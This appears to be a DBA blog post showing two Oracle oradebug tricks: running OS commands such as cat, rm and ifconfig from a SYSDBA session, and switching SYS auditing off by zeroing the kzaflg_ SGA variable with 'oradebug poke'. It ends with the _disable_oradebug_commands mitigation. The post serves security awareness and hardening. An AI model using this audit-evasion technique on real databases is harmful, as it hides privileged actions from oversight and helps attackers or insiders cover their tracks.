DEMO 1,How to use oradebug to call OS commands via the database
DEMO 2,Disable sys audit
How to use oradebug to call OS commands via the database
sys@ICME>SELECT * FROM V$VERSION WHERE ROWNUM=1;
BANNER
----------------------------------------------------------------
Oracle Database 10g Enterprise Edition Release 10.2.0.4.0 - 64bi
icme@ICME>select * from session_roles;
ROLE
------------------------------
CONNECT
RESOURCE
PLUSTRACE
S_OPER_TJZS
GGS_GGSUSER_ROLE
icme@ICME>oradebug call system "/bin/cat /etc/hosts"
ORA-01031: insufficient privileges
icme@ICME>
-- change sys login
sys@ICME>oradebug call system "cat /etc/hosts"
sh: cat: No such file or directory
Function returned 7F00
sys@ICME>ho cat /etc/hosts
# Do not remove the following line, or various programs
# that require network functionality will fail.
127.0.0.1 icme-db localhost.localdomain localhost
# icme dg config
192.168.212.43 dzmicme
192.168.217.134 sdicme
192.168.212.44 ggsdb
sys@ICME>oradebug call system "/bin/cat /etc/hosts"
# Do not remove the following line, or various programs
# that require network functionality will fail.
127.0.0.1 icme-db localhost.localdomain localhost
# icme dg config
192.168.212.43 dzmicme
192.168.217.134 sdicme
192.168.212.44 ggsdb
Function returned 0
[oracle@icme-db ~]$ touch /home/oracle/a.txt
[oracle@icme-db ~]$ ll a.txt
-rw-rw-r-- 1 oracle oracle 0 Sep 24 18:26 a.txt
sys@ICME>oradebug setmypid
Statement processed.
sys@ICME>oradebug call system "/bin/rm /home/oracle/a.txt"
Function returned 0
[oracle@icme-db ~]$ ll /home/oracle/a.txt
ls: /home/oracle/a.txt: No such file or directory
sys@ICME>oradebug call system "/sbin/ifconfig eth0"
eth0 Link encap:Ethernet HWaddr 00:22:19:A9:9D:58
inet addr:192.168.212.43 Bcast:192.168.212.255 Mask:255.255.255.0
inet6 addr: fe80::222:19ff:fea9:9d58/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:4045809 errors:0 dropped:0 overruns:0 frame:0
TX packets:3854299 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:416586371 (397.2 MiB) TX bytes:4276173158 (3.9 GiB)
Interrupt:169 Memory:f8000000-f8012100
SQL> select * from v$version where rownum=1;
BANNER
--------------------------------------------------------------------------------
Oracle Database 11g Enterprise Edition Release 11.2.0.3.0 - 64bit Production
sys@ANBOB>oradebug call system "/bin/cat /etc/hosts"
ORA-32507: expecting quoted(") argument but found "/bin/cat
sys@ORA12C>select * from v$version where rownum=1;
BANNER CON_ID
-------------------------------------------------------------------------------- --------------------
Oracle Database 12c Enterprise Edition Release 12.1.0.1.0 - 64bit Production 0
sys@ORA12C>oradebug call system "/bin/cat /etc/hosts"
ORA-32507: expecting quoted(") argument but found "/bin/cat
disable sys audit
— 10gr2 default
sys@ICME>show parameter audit NAME TYPE VALUE ------------------------------------ ----------- ------------------------------ audit_file_dest string /oracle/admin/icme/adump audit_sys_operations boolean FALSE audit_syslog_level string audit_trail string NONE -- 11gr2 default sys@ANBOB>show parameter audit NAME TYPE VALUE ------------------------------------ ----------- ------------------------------ audit_file_dest string /u01/app/oracle/admin/anbob/adump audit_sys_operations boolean FALSE audit_syslog_level string audit_trail string DB
TIP:
Oracle Database always audits certain database-related operations and writes them to the operating system audit files. It includes the actions of any user who is logged in with the SYSDBA or SYSOPER privilege. This is called mandatory auditing. Even if you have enabled the database audit trail (that is, setting the AUDIT_TRAIL parameter to DB), Oracle Database still writes mandatory records to operating system files.
Mandatory auditing includes the following operations:
Database startup.
SYSDBA and SYSOPER logins.
Database shutdown.
for example —
sqlplus / as sysdba
[oracle@icme-db adump]$ vi ora_3562.aud
…
Tue Sep 24 16:00:51 2013
LENGTH : ‘137’
ACTION :[7] ‘CONNECT’
DATABASE USER:[1] ‘/’
PRIVILEGE :[6] ‘SYSDBA’
CLIENT USER:[6] ‘oracle’
CLIENT TERMINAL:[5] ‘pts/1’
STATUS:[1] ‘0’
…
next , set audit_sys_operations=true , diable sys audit using oradebug
sys@ANBOB> select action,comments from registry$history;
ACTION COMMENTS
------------------------------ --------------------
APPLY Patchset 11.2.0.2.0
APPLY Patchset 11.2.0.2.0
sys@ANBOB>select * from v$version where rownum=1;
BANNER
--------------------------------------------------------------------------------
Oracle Database 11g Enterprise Edition Release 11.2.0.3.0 - 64bit Production
[oracle@db231 ~]$ $ORACLE_HOME/OPatch/opatch lsinventory |grep "Patch Set Update"
--none
sys@ANBOB>col terminal for a20
sys@ANBOB>col obj_name for a20
sys@ANBOB>alter session set nls_date_format='rrrr-mm-dd hh24:mi:ss';
Session altered.
sys@ANBOB>select username,terminal,timestamp,owner,obj_name from DBA_AUDIT_TRAIL where timestamp >trunc(sysdate) ;
USERNAME TERMINAL TIMESTAMP OWNER OBJ_NAME
------------------------------ -------------------- ------------------- ------------------------------ --------------------
ANBOB pts/2 2013-09-24 10:15:24
ANBOB pts/2 2013-09-24 09:12:41
sys@ANBOB>select * from dba_priv_audit_opts;
USER_NAME PROXY_NAME PRIVILEGE SUCCESS FAILURE
------------------------------ ------------------------------ ---------------------------------------- ---------- ----------
CREATE EXTERNAL JOB BY ACCESS BY ACCESS
CREATE ANY JOB BY ACCESS BY ACCESS
GRANT ANY OBJECT PRIVILEGE BY ACCESS BY ACCESS
EXEMPT ACCESS POLICY BY ACCESS BY ACCESS
CREATE ANY LIBRARY BY ACCESS BY ACCESS
GRANT ANY PRIVILEGE BY ACCESS BY ACCESS
DROP PROFILE BY ACCESS BY ACCESS
ALTER PROFILE BY ACCESS BY ACCESS
DROP ANY PROCEDURE BY ACCESS BY ACCESS
ALTER ANY PROCEDURE BY ACCESS BY ACCESS
CREATE ANY PROCEDURE BY ACCESS BY ACCESS
ALTER DATABASE BY ACCESS BY ACCESS
GRANT ANY ROLE BY ACCESS BY ACCESS
CREATE PUBLIC DATABASE LINK BY ACCESS BY ACCESS
DROP ANY TABLE BY ACCESS BY ACCESS
ALTER ANY TABLE BY ACCESS BY ACCESS
CREATE ANY TABLE BY ACCESS BY ACCESS
DROP USER BY ACCESS BY ACCESS
ALTER USER BY ACCESS BY ACCESS
CREATE USER BY ACCESS BY ACCESS
CREATE SESSION BY ACCESS BY ACCESS
AUDIT SYSTEM BY ACCESS BY ACCESS
ALTER SYSTEM BY ACCESS BY ACCESS
sys@ANBOB>conn anbob/anbob
Connected.
anbob@ANBOB>create procedure p_test
2 is
3 begin
4 null;
5 end;
6 /
Procedure created.
anbob@ANBOB>conn system/oracle
Connected.
system@ANBOB>create or replace procedure anbob.p_test
2 is
3 begin
4 null;
5 null;
6 end;
7 /
Procedure created.
sys@ANBOB>select username,terminal,timestamp,owner,obj_name from DBA_AUDIT_TRAIL where timestamp >trunc(sysdate) order by 3;
USERNAME TERMINAL TIMESTAMP OWNER OBJ_NAME
------------------------------ -------------------- ------------------- ------------------------------ --------------------
ANBOB pts/2 2013-09-24 09:12:41
ANBOB pts/2 2013-09-24 10:15:24
ANBOB pts/4 2013-09-24 16:40:22
ANBOB pts/4 2013-09-24 16:41:56
SYSTEM pts/4 2013-09-24 16:41:56
SYSTEM pts/4 2013-09-24 16:42:30 ANBOB P_TEST
6 rows selected.
sys@ANBOB>alter system set audit_sys_operations=true scope=spfile;
System altered.
--RESTART DATABASE
AUDIT_SYS_OPERATIONS enables or disables the auditing of operations issued by user SYS, and users connecting with SYSDBA or SYSOPER privileges. The audit records are written to the operating system’s audit trail. The audit records will be written in XML format if the AUDIT_TRAIL initialization parameter is set to XML.
sys@ANBOB>create or replace procedure anbob.p_test 2 is 3 begin 4 null; 5 null; 6 null; 7 end; 8 / sys@ANBOB>alter system set pga_aggregate_target=600m; sys@ANBOB>select username,terminal,timestamp,owner,obj_name from DBA_AUDIT_TRAIL where timestamp >trunc(sysdate) order by 3; USERNAME TERMINAL TIMESTAMP OWNER OBJ_NAME ------------------------------ -------------------- ------------------- ------------------------------ ------------------------------ ANBOB pts/2 2013-09-24 09:12:41 ANBOB pts/2 2013-09-24 10:15:24 ANBOB pts/4 2013-09-24 16:40:22 SYSTEM pts/4 2013-09-24 16:41:56 ANBOB pts/4 2013-09-24 16:41:56 SYSTEM pts/4 2013-09-24 16:42:30 ANBOB P_TEST SYSTEM pts/4 2013-09-24 16:44:15
Notice:
never written audit records of sys operations to DB(aud$).
— adump path
[oracle@db231 ~]$ cd /u01/app/oracle/admin/anbob/adump/
[oracle@db231 adump]$ vi anbob_ora_23185_1.aud
...
Tue Sep 24 16:57:46 2013 +08:00
LENGTH : '226'
ACTION :[72] 'create or replace procedure p_test
is
begin
null;
null;
null;
end;'
DATABASE USER:[1] '/'
PRIVILEGE :[6] 'SYSDBA'
CLIENT USER:[6] 'oracle'
CLIENT TERMINAL:[5] 'pts/2'
STATUS:[1] '0'
DBID:[10] '1190288265'
Tue Sep 24 16:58:35 2013 +08:00
LENGTH : '196'
ACTION :[42] 'alter system set pga_aggregate_target=600m'
DATABASE USER:[1] '/'
PRIVILEGE :[6] 'SYSDBA'
CLIENT USER:[6] 'oracle'
CLIENT TERMINAL:[5] 'pts/2'
STATUS:[1] '0'
DBID:[10] '1190288265'
...
View: X$KSMFSV
[K]ernel S]ervice [M]emory Management
Addresses of [F]ixed [S]GA [V]ariables
Column Type Description
-------- ---- --------
ADDR RAW(4|8) address of this row/entry in the array or SGA
INDX NUMBER index number of this row in the fixed table array
INST_ID NUMBER 8.x oracle instance number
KSMFSNAM VARCHAR2(19) name of variable
KSMFSTYP VARCHAR2(17) type of variable
KSMFSADR RAW(4|8) addr of variable
KSMFSSIZ NUMBER size of variable
View: X$KSMMEM
[K]ernal [S]torage [M]emory Management
SGA [MEM]ory map of the entire SGA
Column Type Description
-------- ---- --------
ADDR RAW(4|8) address of this row/entry in the array or SGA
INDX NUMBER index number of this row in the fixed table array
INST_ID NUMBER 8.x oracle instance number
KSMMMVAL RAW(4|8) Actual value of data at this address.
Notes:
fixed table of the SGA, note that if the sga is not contiguous this fixed table may not work correctly.
Access using either INDX or ADDR=hextoraw(‘address’)
— Disable Oracle SYS Auditing using oradebug modify memory
sys@ANBOB>select fsv.KSMFSNAM,sga.addr,sga.KSMMMVAL 2 from x$ksmfsv fsv, x$ksmmem sga 3 where sga.addr=fsv.KSMFSADR 4 and fsv.ksmfsnam like 'kzaflg_%'; KSMFSNAM ADDR KSMMMVAL -------------------- ---------------- ---------------- kzaflg_ 00000000600346A0 0000000000000001 or sys@ANBOB>oradebug setmypid Statement processed. sys@ANBOB>oradebug dumpvar sga kzaflg ub2 kzaflg_ [0600346A0, 0600346A4) = 00000001 sys@ANBOB>oradebug poke 0x600346A0 4 0 BEFORE: [0600346A0, 0600346A4) = 00000001 AFTER: [0600346A0, 0600346A4) = 00000000 sys@ANBOB>show parameter audit; NAME TYPE VALUE ------------------------------------ ----------- ------------------------------ audit_file_dest string /u01/app/oracle/admin/anbob/ad ump audit_sys_operations boolean TRUE audit_syslog_level string audit_trail string DB
— 好，现在 可以用sys 建立新的session,做任何操作 都不会被记录到trail 文件中(除了Mandatory auditing的信息)
i.e.
sys@ANBOB>alter system set pga_aggregate_target=900m; System altered. verify audit trail
BHW:
据说在以后会修复这个问题，通过隐藏参数来限制oradebug的使用
有一种说法是_fifteenth_spare_parameter
“all” disables execution of all oradebug commands,
“restricted” disables execution of restricted oradebug commands
“none” (default) allows execution of oradebug commands.
references
Alexander Kornbrust’ article
— updata 1:
# The undocumented parameter _disable_oradebug_commands is available on 11.2.0.4 and later ,
SQL> @p disable_ora
NAME VALUE DESCRIPTION
—————————————- ——————– ——————————————————————————–
_disable_oradebug_commands none disable execution of certain categories of oradebug commands